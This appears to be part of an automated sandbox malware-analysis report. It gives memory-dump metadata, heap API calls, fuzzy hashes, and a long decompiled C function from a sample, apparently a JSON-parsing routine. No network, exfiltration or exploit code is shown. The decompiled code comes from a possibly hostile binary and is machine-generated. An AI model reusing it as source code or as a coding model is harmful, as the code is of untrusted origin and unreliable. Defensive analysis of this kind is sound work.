                                                                                  0x00b63c33
                                                                                  0x00b63c39
                                                                                  0x00b63c40
                                                                                  0x00b63c48
                                                                                  0x00b63c48
                                                                                  0x00b63c4d
                                                                                  0x00b63c4d
                                                                                  0x00b63c62
                                                                                  0x00b63c6a

                                                                                  APIs
                                                                                  • HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                  • GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Heap$CreateProcess
                                                                                  • String ID:
                                                                                  • API String ID: 1042935442-0
                                                                                  • Opcode ID: 29c47f2c122cb75e3889ff2594244bf8785422040d46f7a46702fb18bf79f0b7
                                                                                  • Instruction ID: e5bc6a9f14c93d32157ffd7ee9aa226c04b89cdeb5fe193e93c614ec96994eeb
                                                                                  • Opcode Fuzzy Hash: 29c47f2c122cb75e3889ff2594244bf8785422040d46f7a46702fb18bf79f0b7
                                                                                  • Instruction Fuzzy Hash: 36E01AB51083089AE7109B66FD8BB103BF8EB04B91F200059F50C973A2DEB9A5D08A58
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 81%
                                                                                  			E00B6A4BE(void* __ecx, void* __eflags, void* _a4, signed char _a7, signed char* _a8, signed char _a11, signed int _a12, signed int _a15) {
                                                                                  				signed char _v5;
                                                                                  				signed int _v12;
                                                                                  				intOrPtr* _v16;
                                                                                  				char _v20;
                                                                                  				signed int _v24;
                                                                                  				signed int _v28;
                                                                                  				intOrPtr _v32;
                                                                                  				signed int _v36;
                                                                                  				signed int _v40;
                                                                                  				signed int _v44;
                                                                                  				signed long long _v48;
                                                                                  				signed int _v52;
                                                                                  				signed char* _v56;
                                                                                  				signed int _v60;
                                                                                  				signed int _v64;
                                                                                  				signed int _v68;
                                                                                  				intOrPtr _v72;
                                                                                  				signed char* _v76;
                                                                                  				char _v80;
                                                                                  				intOrPtr _v92;
                                                                                  				signed char _v100;
                                                                                  				void _v104;
                                                                                  				intOrPtr _v108;
                                                                                  				void* _v112;
                                                                                  				char _v116;
                                                                                  				signed int _t387;
                                                                                  				void* _t390;
                                                                                  				void* _t394;
                                                                                  				void* _t396;
                                                                                  				char _t397;
                                                                                  				void* _t399;
                                                                                  				void* _t400;
                                                                                  				void* _t401;
                                                                                  				void* _t402;
                                                                                  				intOrPtr _t405;
                                                                                  				intOrPtr _t410;
                                                                                  				intOrPtr _t411;
                                                                                  				void* _t419;
                                                                                  				void* _t424;
                                                                                  				void* _t431;
                                                                                  				void* _t440;
                                                                                  				void* _t447;
                                                                                  				void* _t452;
                                                                                  				signed char _t453;
                                                                                  				signed int _t454;
                                                                                  				void* _t456;
                                                                                  				void* _t457;
                                                                                  				void* _t458;
                                                                                  				signed char _t460;
                                                                                  				void* _t462;
                                                                                  				void* _t469;
                                                                                  				void* _t472;
                                                                                  				void* _t473;
                                                                                  				void* _t474;
                                                                                  				void* _t476;
                                                                                  				signed char _t481;
                                                                                  				signed int _t482;
                                                                                  				signed char _t483;
                                                                                  				signed char _t484;
                                                                                  				signed char _t519;
                                                                                  				signed int _t520;
                                                                                  				signed char _t521;
                                                                                  				void* _t527;
                                                                                  				void* _t528;
                                                                                  				void* _t529;
                                                                                  				void* _t531;
                                                                                  				void* _t533;
                                                                                  				signed int _t540;
                                                                                  				void* _t546;
                                                                                  				intOrPtr _t549;
                                                                                  				signed int _t554;
                                                                                  				void* _t561;
                                                                                  				intOrPtr _t562;
                                                                                  				signed char* _t567;
                                                                                  				char _t568;
                                                                                  				signed char* _t569;
                                                                                  				signed char* _t570;
                                                                                  				signed char* _t571;
                                                                                  				signed char* _t572;
                                                                                  				signed char* _t573;
                                                                                  				signed char* _t574;
                                                                                  				signed char* _t575;
                                                                                  				signed char* _t576;
                                                                                  				signed char* _t577;
                                                                                  				signed char* _t578;
                                                                                  				signed char* _t579;
                                                                                  				signed char* _t580;
                                                                                  				signed char* _t581;
                                                                                  				signed char* _t582;
                                                                                  				signed char* _t583;
                                                                                  				signed char* _t584;
                                                                                  				signed char* _t585;
                                                                                  				signed char* _t586;
                                                                                  				signed int _t588;
                                                                                  				char _t590;
                                                                                  				signed int _t594;
                                                                                  				void* _t596;
                                                                                  				signed int _t624;
                                                                                  				signed int _t642;
                                                                                  				signed int _t644;
                                                                                  				signed int _t648;
                                                                                  				signed int _t658;
                                                                                  				signed int _t664;
                                                                                  				signed int _t665;
                                                                                  				signed int _t666;
                                                                                  				intOrPtr _t667;
                                                                                  				void* _t669;
                                                                                  				void _t670;
                                                                                  				intOrPtr _t671;
                                                                                  				signed int _t674;
                                                                                  				signed int _t675;
                                                                                  				signed int _t676;
                                                                                  				signed int _t677;
                                                                                  				signed int _t683;
                                                                                  				void* _t689;
                                                                                  				void* _t690;
                                                                                  				signed long long* _t691;
                                                                                  				signed long long _t712;
                                                                                  				signed long long _t715;
                                                                                  
                                                                                  				_v36 = 0;
                                                                                  				E00B63CA5( &_v116, 0, 0x34);
                                                                                  				_t387 = _a12;
                                                                                  				_t690 = _t689 + 0xc;
                                                                                  				_v40 = 0;
                                                                                  				_v52 = 0;
                                                                                  				_v64 = 0;
                                                                                  				_v60 = 0;
                                                                                  				_t567 = _a8;
                                                                                  				_v56 = _t567;
                                                                                  				if(_t387 >= 3 &&  *_t567 == 0xef && _t567[1] == 0xbb && _t567[2] == 0xbf) {
                                                                                  					_t567 =  &(_t567[3]);
                                                                                  					_t387 = _t387 - 3;
                                                                                  					_v56 = _t567;
                                                                                  				}
                                                                                  				_t712 =  *0xb7b648;
                                                                                  				_v32 = _t387 + _t567;
                                                                                  				_t588 = 6;
                                                                                  				_t390 = memcpy( &_v104, _a4, _t588 << 2);
                                                                                  				_t691 = _t690 + 0xc;
                                                                                  				_v112 = _t390;
                                                                                  				_v112 = _v112 - 8;
                                                                                  				_v108 = _t390 - 8;
                                                                                  				_v80 = 1;
                                                                                  				while(1) {
                                                                                  					L6:
                                                                                  					_v24 = _v24 & 0x00000000;
                                                                                  					_t664 = 0;
                                                                                  					_v28 = _v28 & 0;
                                                                                  					_t669 = 0;
                                                                                  					_t642 = 8;
                                                                                  					_a12 = 0;
                                                                                  					_v16 = 0;
                                                                                  					_v20 = 0;
                                                                                  					_v12 = _t642;
                                                                                  					_v72 = 1;
                                                                                  					while(1) {
                                                                                  						_v76 = _t567;
                                                                                  						if(_t567 != _v32) {
                                                                                  							_t590 =  *_t567;
                                                                                  						} else {
                                                                                  							_t590 = 0;
                                                                                  						}
                                                                                  						L10:
                                                                                  						_a11 = _t590;
                                                                                  						if((_t642 & 0x00000020) == 0) {
                                                                                  							L71:
                                                                                  							if((_v100 & 0x00000001) == 0) {
                                                                                  								L100:
                                                                                  								if(_t642 >= 0) {
                                                                                  									if((_t642 & 0x00000008) == 0) {
                                                                                  										_t259 = _t669 + 4; // 0x4
                                                                                  										_t394 = _t259;
                                                                                  										_t670 =  *_t394;
                                                                                  										_a4 = _t394;
                                                                                  										if(_t670 == 1) {
                                                                                  											st0 = _t712;
                                                                                  											_t396 = _t590 - 9;
                                                                                  											if(_t396 == 0) {
                                                                                  												L240:
                                                                                  												_t669 = _v16;
                                                                                  												L241:
                                                                                  												_t397 = _v80;
                                                                                  												L242:
                                                                                  												_t712 =  *0xb7b648;
                                                                                  												_t567 =  &(_t567[1]);
                                                                                  												_v76 = _t567;
                                                                                  												if(_t567 != _v32) {
                                                                                  													_t590 =  *_t567;
                                                                                  												} else {
                                                                                  													_t590 = 0;
                                                                                  												}
                                                                                  												goto L10;
                                                                                  											}
                                                                                  											_t527 = _t396 - 1;
                                                                                  											if(_t527 == 0) {
                                                                                  												_v72 = _v72 + 1;
                                                                                  												_v68 = _v68 & 0x00000000;
                                                                                  												goto L240;
                                                                                  											}
                                                                                  											_t528 = _t527 - 3;
                                                                                  											if(_t528 == 0) {
                                                                                  												goto L240;
                                                                                  											}
                                                                                  											_t529 = _t528 - 0x13;
                                                                                  											if(_t529 == 0) {
                                                                                  												goto L240;
                                                                                  											}
                                                                                  											_t531 = _t529;
                                                                                  											if(_t531 == 0) {
                                                                                  												if((_t642 & 0x00000004) != 0) {
                                                                                  													L247:
                                                                                  													_t568 = _v80;
                                                                                  													_t405 =  !=  ? _v28 : _v36;
                                                                                  													if(_t405 == 0) {
                                                                                  														L249:
                                                                                  														if(_t568 == 0) {
                                                                                  															E00B6B108( &_v104, _v28);
                                                                                  														}
                                                                                  														return 0;
                                                                                  													} else {
                                                                                  														goto L248;
                                                                                  													}
                                                                                  													do {
                                                                                  														L248:
                                                                                  														_t671 =  *((intOrPtr*)(_t405 + 0x10));
                                                                                  														_v92(_t405);
                                                                                  														_t405 = _t671;
                                                                                  													} while (_t671 != 0);
                                                                                  													goto L249;
                                                                                  												}
                                                                                  												_t669 = _v16;
                                                                                  												_t642 = _t642 | 0x00000020;
                                                                                  												_t664 = 0;
                                                                                  												_v12 = _t642;
                                                                                  												_a12 = 0;
                                                                                  												_v24 =  *((intOrPtr*)(_t669 + 0x10));
                                                                                  												L227:
                                                                                  												if((_t642 & 0x00000002) != 0) {
                                                                                  													_t642 = _t642 & 0xfffffffd;
                                                                                  													_t567 = _t567 - 1;
                                                                                  													_v12 = _t642;
                                                                                  													_v76 = _t567;
                                                                                  												}
                                                                                  												if((_t642 & 0x00000001) != 0) {
                                                                                  													_t410 =  *_t669;
                                                                                  													_t644 = _t642 & 0xfffffffe | 0x00000004;
                                                                                  													_t594 = _t644;
                                                                                  													if(_t410 != 0) {
                                                                                  														_t642 =  !=  ? _t594 : _t644 | 0x00000008;
                                                                                  														_v12 = _t642;
                                                                                  														if(_v80 == 0) {
                                                                                  															_t596 =  *((intOrPtr*)(_t410 + 4)) - 1;
                                                                                  															if(_t596 == 0) {
                                                                                  																 *((intOrPtr*)( *(_t410 + 8) * 0xc +  *((intOrPtr*)(_t410 + 0xc)) + 8)) = _t669;
                                                                                  															} else {
                                                                                  																if(_t596 == 1) {
                                                                                  																	 *((intOrPtr*)( *((intOrPtr*)(_t410 + 0xc)) +  *(_t410 + 8) * 4)) = _t669;
                                                                                  																}
                                                                                  															}
                                                                                  														}
                                                                                  														_t411 =  *_t669;
                                                                                  														 *((intOrPtr*)(_t411 + 8)) =  *((intOrPtr*)(_t411 + 8)) + 1;
                                                                                  														if( *((intOrPtr*)(_t411 + 8)) > _v112) {
                                                                                  															goto L247;
                                                                                  														} else {
                                                                                  															_t669 =  *_t669;
                                                                                  															_v16 = _t669;
                                                                                  															_v20 = _t669;
                                                                                  															goto L241;
                                                                                  														}
                                                                                  													}
                                                                                  													_t642 = _t644 | 0x00000080;
                                                                                  													L82:
                                                                                  													_v12 = _t642;
                                                                                  												}
                                                                                  												goto L241;
                                                                                  											}
                                                                                  											_t533 = _t531 - 0xa;
                                                                                  											if(_t533 == 0) {
                                                                                  												if((_t642 & 0x00000004) == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t642 = _t642 & 0xfffffffb;
                                                                                  												L220:
                                                                                  												_v12 = _t642;
                                                                                  												L226:
                                                                                  												_t669 = _v16;
                                                                                  												goto L227;
                                                                                  											}
                                                                                  											if(_t533 != 0x51) {
                                                                                  												goto L247;
                                                                                  											}
                                                                                  											_t642 = _t642 & 0xfffffffb | 0x00000001;
                                                                                  											goto L220;
                                                                                  										}
                                                                                  										_t261 = _t670 - 3; // -3
                                                                                  										if(_t261 > 1) {
                                                                                  											st0 = _t712;
                                                                                  											goto L226;
                                                                                  										}
                                                                                  										if(_t590 - 0x30 > 9) {
                                                                                  											if(_t590 == 0x2b || _t590 == 0x2d) {
                                                                                  												if((_t642 & 0x00000c00) != 0x400) {
                                                                                  													goto L194;
                                                                                  												}
                                                                                  												st0 = _t712;
                                                                                  												_t642 =  !=  ? _t642 | 0x00000800 : _t642 | 0x1800;
                                                                                  												_v12 = _t642;
                                                                                  												goto L240;
                                                                                  											} else {
                                                                                  												if(_t590 != 0x2e || _t670 != 3) {
                                                                                  													L194:
                                                                                  													if((_t642 & 0x00000400) != 0) {
                                                                                  														if(_v40 == 0) {
                                                                                  															L246:
                                                                                  															st0 = _t712;
                                                                                  															goto L247;
                                                                                  														}
                                                                                  														_t540 = _v52;
                                                                                  														_t601 =  ~_t540;
                                                                                  														_t541 =  !=  ?  ~_t540 : _t540;
                                                                                  														 *_t691 = _t712;
                                                                                  														E00B6B16E( !=  ?  ~_t540 : _t540,  ~_t540, _t642 & 0x00001000,  ~_t540, _t601,  !=  ?  ~_t540 : _t540);
                                                                                  														_t669 = _v16;
                                                                                  														_t691 =  &(_t691[1]);
                                                                                  														_t642 = _v12;
                                                                                  														 *(_t669 + 8) = _t712 *  *(_t669 + 8);
                                                                                  														L206:
                                                                                  														if((_t642 & 0x00000100) != 0) {
                                                                                  															if( *_a4 != 3) {
                                                                                  																asm("fchs");
                                                                                  															} else {
                                                                                  																 *(_t669 + 8) =  ~( *(_t669 + 8));
                                                                                  																asm("adc eax, 0x0");
                                                                                  																 *(_t669 + 0xc) =  ~( *(_t669 + 0xc));
                                                                                  															}
                                                                                  														}
                                                                                  														_t642 = _t642 | 0x00000003;
                                                                                  														L211:
                                                                                  														_v12 = _t642;
                                                                                  														goto L227;
                                                                                  													}
                                                                                  													if(_t670 != 4) {
                                                                                  														_t669 = _v16;
                                                                                  														st0 = _t712;
                                                                                  														L199:
                                                                                  														if(_t590 == 0x65 || _t590 == 0x45) {
                                                                                  															_t546 = _a4;
                                                                                  															_t648 = _t642 | 0x00000400;
                                                                                  															if( *_t546 == 3) {
                                                                                  																 *_t546 = 4;
                                                                                  																asm("fild qword [esi+0x8]");
                                                                                  																 *(_t669 + 8) = _t712;
                                                                                  															}
                                                                                  															_v40 = _v40 & 0x00000000;
                                                                                  															_t642 = _t648 & 0xfffffdff;
                                                                                  															goto L82;
                                                                                  														} else {
                                                                                  															goto L206;
                                                                                  														}
                                                                                  													}
                                                                                  													_t547 = _v40;
                                                                                  													if(_v40 == 0) {
                                                                                  														goto L246;
                                                                                  													}
                                                                                  													asm("fild qword [ebp-0x3c]");
                                                                                  													_v48 = _t712;
                                                                                  													_t715 = _v48;
                                                                                  													_v48 = _t715;
                                                                                  													 *_t691 = _t715;
                                                                                  													E00B6B16E(_t547, _t590, _t642, _t590, _t590, _t547);
                                                                                  													asm("fdivr qword [ebp-0x2c]");
                                                                                  													_t691 =  &(_t691[1]);
                                                                                  													_t549 = _v16;
                                                                                  													_t669 = _v20;
                                                                                  													_t567 = _v76;
                                                                                  													_t642 = _v12;
                                                                                  													_t590 = _a11;
                                                                                  													_v16 = _t669;
                                                                                  													_t712 = _t715 +  *(_t549 + 8);
                                                                                  													 *(_t549 + 8) = _t712;
                                                                                  													goto L199;
                                                                                  												} else {
                                                                                  													st0 = _t712;
                                                                                  													if(_v40 == 0) {
                                                                                  														goto L247;
                                                                                  													}
                                                                                  													_t669 = _v16;
                                                                                  													_v40 = _v40 & 0x00000000;
                                                                                  													 *_a4 = 4;
                                                                                  													asm("fild qword [esi+0x8]");
                                                                                  													 *(_t669 + 8) = _t712;
                                                                                  													goto L241;
                                                                                  												}
                                                                                  											}
                                                                                  										}
                                                                                  										st0 = _t712;
                                                                                  										_t554 = _v40 + 1;
                                                                                  										_v40 = _t554;
                                                                                  										if(_t670 == 3) {
                                                                                  											if((_t642 & 0x00000400) != 0) {
                                                                                  												L185:
                                                                                  												_t642 = _t642 | 0x00000800;
                                                                                  												_v12 = _t642;
                                                                                  												_v52 = _a11 + 0xffffffd0 + _v52 * 0xa;
                                                                                  												goto L240;
                                                                                  											}
                                                                                  											if((0x00000200 & _t642) != 0) {
                                                                                  												goto L247;
                                                                                  											}
                                                                                  											if(_t554 == 1 && _t590 == 0x30) {
                                                                                  												_t642 = _t642 | 0x00000200;
                                                                                  												_v12 = _t642;
                                                                                  											}
                                                                                  											asm("cdq");
                                                                                  											_t665 = _t642;
                                                                                  											_t561 = E00B6B2A0( *((intOrPtr*)(_v16 + 8)),  *((intOrPtr*)(_v16 + 0xc)), 0xa, 0);
                                                                                  											_t562 = _v16;
                                                                                  											asm("adc edi, edx");
                                                                                  											_t642 = _v12;
                                                                                  											 *((intOrPtr*)(_t562 + 8)) = _t590 - 0x30 + _t561;
                                                                                  											_t669 = _t562;
                                                                                  											 *(_t669 + 0xc) = _t665;
                                                                                  											_t664 = _a12;
                                                                                  											goto L241;
                                                                                  										}
                                                                                  										if((_t642 & 0x00000400) != 0) {
                                                                                  											goto L185;
                                                                                  										}
                                                                                  										asm("cdq");
                                                                                  										_t666 = _t642;
                                                                                  										_v64 = _t590 - 0x30 + E00B6B2A0(_v64, _v60, 0xa, 0);
                                                                                  										asm("adc edi, edx");
                                                                                  										_t642 = _v12;
                                                                                  										_v60 = _t666;
                                                                                  										_t664 = _a12;
                                                                                  										goto L240;
                                                                                  									}
                                                                                  									st0 = _t712;
                                                                                  									_t399 = _t590 - 9;
                                                                                  									if(_t399 == 0) {
                                                                                  										goto L241;
                                                                                  									}
                                                                                  									_t400 = _t399 - 1;
                                                                                  									if(_t400 == 0) {
                                                                                  										L107:
                                                                                  										_v72 = _v72 + 1;
                                                                                  										_v68 = _v68 & 0x00000000;
                                                                                  										goto L241;
                                                                                  									}
                                                                                  									_t401 = _t400 - 3;
                                                                                  									if(_t401 == 0) {
                                                                                  										goto L241;
                                                                                  									}
                                                                                  									_t402 = _t401 - 0x13;
                                                                                  									if(_t402 == 0) {
                                                                                  										goto L241;
                                                                                  									}
                                                                                  									if(_t402 == 0x3d) {
                                                                                  										if(_t669 == 0 ||  *((intOrPtr*)(_t669 + 4)) != 2) {
                                                                                  											goto L247;
                                                                                  										} else {
                                                                                  											_t642 = _t642 & 0xfffffff3 | 0x00000001;
                                                                                  											goto L211;
                                                                                  										}
                                                                                  									}
                                                                                  									if((_t642 & 0x00000004) == 0) {
                                                                                  										if((_t642 & 0x00000040) == 0) {
                                                                                  											_v12 = _t642 & 0xfffffff7;
                                                                                  											if(_t590 == 0x22) {
                                                                                  												_t419 = E00B6B1B3( &_v116,  &_v20,  &_v28,  &_v36, 5); // executed
                                                                                  												_t691 =  &(_t691[2]);
                                                                                  												if(_t419 == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t669 = _v20;
                                                                                  												_t567 = _v76;
                                                                                  												_t642 = _v12 | 0x00000020;
                                                                                  												_t664 = 0;
                                                                                  												_v12 = _t642;
                                                                                  												_v16 = _t669;
                                                                                  												_v24 =  *(_t669 + 0xc);
                                                                                  												_a12 = 0;
                                                                                  												goto L241;
                                                                                  											}
                                                                                  											if(_t590 == 0x5b) {
                                                                                  												_t424 = E00B6B1B3( &_v116,  &_v20,  &_v28,  &_v36, 2);
                                                                                  												_t691 =  &(_t691[2]);
                                                                                  												if(_t424 == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t669 = _v20;
                                                                                  												_t642 = _v12 | 0x00000008;
                                                                                  												_t567 = _v76;
                                                                                  												_v12 = _t642;
                                                                                  												_v16 = _t669;
                                                                                  												goto L241;
                                                                                  											}
                                                                                  											if(_t590 == 0x66) {
                                                                                  												if(_v32 - _t567 < 4) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t569 =  &(_t567[1]);
                                                                                  												_v76 = _t569;
                                                                                  												if( *_t569 != 0x61) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t570 =  &(_t569[1]);
                                                                                  												_v76 = _t570;
                                                                                  												if( *_t570 != 0x6c) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t571 =  &(_t570[1]);
                                                                                  												_v76 = _t571;
                                                                                  												if( *_t571 != 0x73) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t572 =  &(_t571[1]);
                                                                                  												_v76 = _t572;
                                                                                  												if( *_t572 != 0x65) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_push(6);
                                                                                  												L164:
                                                                                  												_push( &_v36);
                                                                                  												_push( &_v28);
                                                                                  												_push( &_v20);
                                                                                  												_push( &_v116);
                                                                                  												_t431 = E00B6B1B3();
                                                                                  												_t691 =  &(_t691[2]);
                                                                                  												if(_t431 == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t669 = _v20;
                                                                                  												_t642 = _v12 | 0x00000001;
                                                                                  												_t567 = _v76;
                                                                                  												_v12 = _t642;
                                                                                  												_v16 = _t669;
                                                                                  												goto L227;
                                                                                  											}
                                                                                  											if(_t590 == 0x6e) {
                                                                                  												if(_v32 - _t567 < 3) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t573 =  &(_t567[1]);
                                                                                  												_v76 = _t573;
                                                                                  												if( *_t573 != 0x75) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t574 =  &(_t573[1]);
                                                                                  												_v76 = _t574;
                                                                                  												if( *_t574 != 0x6c) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t575 =  &(_t574[1]);
                                                                                  												_v76 = _t575;
                                                                                  												if( *_t575 != 0x6c) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_push(7);
                                                                                  												goto L164;
                                                                                  											}
                                                                                  											if(_t590 == 0x74) {
                                                                                  												if(_v32 - _t567 < 3) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t576 =  &(_t567[1]);
                                                                                  												_v76 = _t576;
                                                                                  												if( *_t576 != 0x72) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t577 =  &(_t576[1]);
                                                                                  												_v76 = _t577;
                                                                                  												if( *_t577 != 0x75) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t578 =  &(_t577[1]);
                                                                                  												_v76 = _t578;
                                                                                  												if( *_t578 != 0x65) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t440 = E00B6B1B3( &_v116,  &_v20,  &_v28,  &_v36, 6);
                                                                                  												_t691 =  &(_t691[2]);
                                                                                  												if(_t440 == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t669 = _v20;
                                                                                  												_t567 = _v76;
                                                                                  												_t642 = _v12 | 1;
                                                                                  												_v16 = _t669;
                                                                                  												 *(_t669 + 8) = 1;
                                                                                  												_v12 = _t642;
                                                                                  												goto L227;
                                                                                  											}
                                                                                  											if(_t590 == 0x7b) {
                                                                                  												_t447 = E00B6B1B3( &_v116,  &_v20,  &_v28,  &_v36, 1);
                                                                                  												_t691 =  &(_t691[2]);
                                                                                  												if(_t447 == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t669 = _v20;
                                                                                  												_t567 = _v76;
                                                                                  												_t642 = _v12;
                                                                                  												_v16 = _t669;
                                                                                  												goto L241;
                                                                                  											}
                                                                                  											if(_t590 < 0x30 || _t590 > 0x39) {
                                                                                  												if(_t590 != 0x2d) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												goto L129;
                                                                                  											} else {
                                                                                  												L129:
                                                                                  												_t452 = E00B6B1B3( &_v116,  &_v20,  &_v28,  &_v36, 3);
                                                                                  												_t691 =  &(_t691[2]);
                                                                                  												if(_t452 == 0) {
                                                                                  													goto L247;
                                                                                  												}
                                                                                  												_t567 = _v76;
                                                                                  												if(_v80 != 0) {
                                                                                  													_v40 = _v40 & 0x00000000;
                                                                                  													_t658 = _v12 & 0xffffe0ff;
                                                                                  													_v64 = _v64 & 0x00000000;
                                                                                  													_v60 = _v60 & 0x00000000;
                                                                                  													_v52 = _v52 & 0x00000000;
                                                                                  													_t669 = _v20;
                                                                                  													_v16 = _t669;
                                                                                  													if(_a11 == 0x2d) {
                                                                                  														_t642 = _t658 | 0x00000100;
                                                                                  														goto L82;
                                                                                  													}
                                                                                  													_t642 = _t658 | 0x00000002;
                                                                                  													goto L211;
                                                                                  												}
                                                                                  												_t453 = _a11;
                                                                                  												_t667 = _v32;
                                                                                  												L132:
                                                                                  												while(1) {
                                                                                  													if(_t453 < 0x30 || _t453 > 0x39) {
                                                                                  														if(_t453 == 0x2b || _t453 == 0x2d || _t453 == 0x65 || _t453 == 0x45 || _t453 == 0x2e) {
                                                                                  															goto L139;
                                                                                  														} else {
                                                                                  															goto L141;
                                                                                  														}
                                                                                  													} else {
                                                                                  														L139:
                                                                                  														_t567 =  &(_t567[1]);
                                                                                  														_v76 = _t567;
                                                                                  														if(_t567 == _t667) {
                                                                                  															L141:
                                                                                  															_t669 = _v20;
                                                                                  															_t642 = _v12 | 0x00000003;
                                                                                  															_t664 = _a12;
                                                                                  															_v12 = _t642;
                                                                                  															_v16 = _t669;
                                                                                  															goto L227;
                                                                                  														}
                                                                                  														_t453 =  *_t567;
                                                                                  														continue;
                                                                                  													}
                                                                                  												}
                                                                                  											}
                                                                                  										}
                                                                                  										if(_t590 != 0x3a) {
                                                                                  											goto L247;
                                                                                  										}
                                                                                  										_t642 = _t642 & 0xffffffbf;
                                                                                  										goto L82;
                                                                                  									}
                                                                                  									if(_t590 != 0x2c) {
                                                                                  										goto L247;
                                                                                  									}
                                                                                  									_t642 = _t642 & 0xfffffffb;
                                                                                  									goto L82;
                                                                                  								}
                                                                                  								if(_t590 == 0) {
                                                                                  									_t372 =  &_v80;
                                                                                  									 *_t372 = _v80 - 1;
                                                                                  									_t454 = _v28;
                                                                                  									_v36 = _t454;
                                                                                  									if( *_t372 < 0) {
                                                                                  										st0 = _t712;
                                                                                  										return _t454;
                                                                                  									}
                                                                                  									_t397 = _v80;
                                                                                  									_t567 = _v56;
                                                                                  									goto L6;
                                                                                  								}
                                                                                  								st0 = _t712;
                                                                                  								_t456 = _t590 - 9;
                                                                                  								if(_t456 == 0) {
                                                                                  									goto L241;
                                                                                  								}
                                                                                  								_t457 = _t456 - 1;
                                                                                  								if(_t457 == 0) {
                                                                                  									goto L107;
                                                                                  								}
                                                                                  								_t458 = _t457 - 3;
                                                                                  								if(_t458 == 0) {
                                                                                  									goto L241;
                                                                                  								}
                                                                                  								if(_t458 != 0x13) {
                                                                                  									goto L247;
                                                                                  								}
                                                                                  								goto L241;
                                                                                  							}
                                                                                  							if((_t642 & 0x00006000) == 0) {
                                                                                  								if(_t590 != 0x2f) {
                                                                                  									goto L100;
                                                                                  								}
                                                                                  								st0 = _t712;
                                                                                  								if((_t642 & 0x00000088) != 0 ||  *((intOrPtr*)(_t669 + 4)) == 1) {
                                                                                  									_t567 =  &(_t567[1]);
                                                                                  									_v76 = _t567;
                                                                                  									if(_t567 == _v32) {
                                                                                  										goto L247;
                                                                                  									}
                                                                                  									_t460 =  *_t567;
                                                                                  									if(_t460 == 0x2a) {
                                                                                  										_t642 = _t642 | 0x00004000;
                                                                                  										goto L82;
                                                                                  									}
                                                                                  									if(_t460 != 0x2f) {
                                                                                  										goto L247;
                                                                                  									}
                                                                                  									_t642 = _t642 | 0x00002000;
                                                                                  									goto L82;
                                                                                  								} else {
                                                                                  									goto L247;
                                                                                  								}
                                                                                  							}
                                                                                  							if((_t642 & 0x00002000) == 0) {
                                                                                  								if((_t642 & 0x00004000) == 0) {
                                                                                  									goto L100;
                                                                                  								}
                                                                                  								st0 = _t712;
                                                                                  								if(_t590 == 0) {
                                                                                  									goto L247;
                                                                                  								}
                                                                                  								if(_t590 != 0x2a) {
                                                                                  									goto L242;
                                                                                  								}
                                                                                  								if(_t567 >= _v32 - 1) {
                                                                                  									goto L241;
                                                                                  								}
                                                                                  								_t397 = _v80;
                                                                                  								if(_t567[1] == 0x2f) {
                                                                                  									_t642 = _t642 & 0xffffbfff;
                                                                                  									_t567 =  &(_t567[1]);
                                                                                  									_v12 = _t642;
                                                                                  								}
                                                                                  								goto L242;
                                                                                  							}
                                                                                  							st0 = _t712;
                                                                                  							if(_t590 == 0xd || _t590 == 0xa || _t590 == 0) {
                                                                                  								_t642 = _t642 & 0xffffdfff;
                                                                                  								_t567 = _t567 - 1;
                                                                                  								_v12 = _t642;
                                                                                  							}
                                                                                  							goto L242;
                                                                                  						}
                                                                                  						if(_t590 == 0 || _t664 > _v112) {
                                                                                  							goto L246;
                                                                                  						} else {
                                                                                  							if((_t642 & 0x00000010) == 0) {
                                                                                  								if(_t590 != 0x5c) {
                                                                                  									if(_t590 != 0x22) {
                                                                                  										st0 = _t712;
                                                                                  										L84:
                                                                                  										if(_t397 == 0) {
                                                                                  											 *((char*)(_t664 + _v24)) = _t590;
                                                                                  											_t669 = _v16;
                                                                                  										}
                                                                                  										L62:
                                                                                  										_t664 = _t664 + 1;
                                                                                  										_a12 = _t664;
                                                                                  										goto L242;
                                                                                  									}
                                                                                  									if(_t397 == 0) {
                                                                                  										 *((char*)(_t664 + _v24)) = 0;
                                                                                  									}
                                                                                  									_t642 = _t642 & 0xffffffdf;
                                                                                  									_v24 = _v24 & 0x00000000;
                                                                                  									_v12 = _t642;
                                                                                  									_t462 =  *((intOrPtr*)(_t669 + 4)) - 1;
                                                                                  									if(_t462 == 0) {
                                                                                  										st0 = _t712;
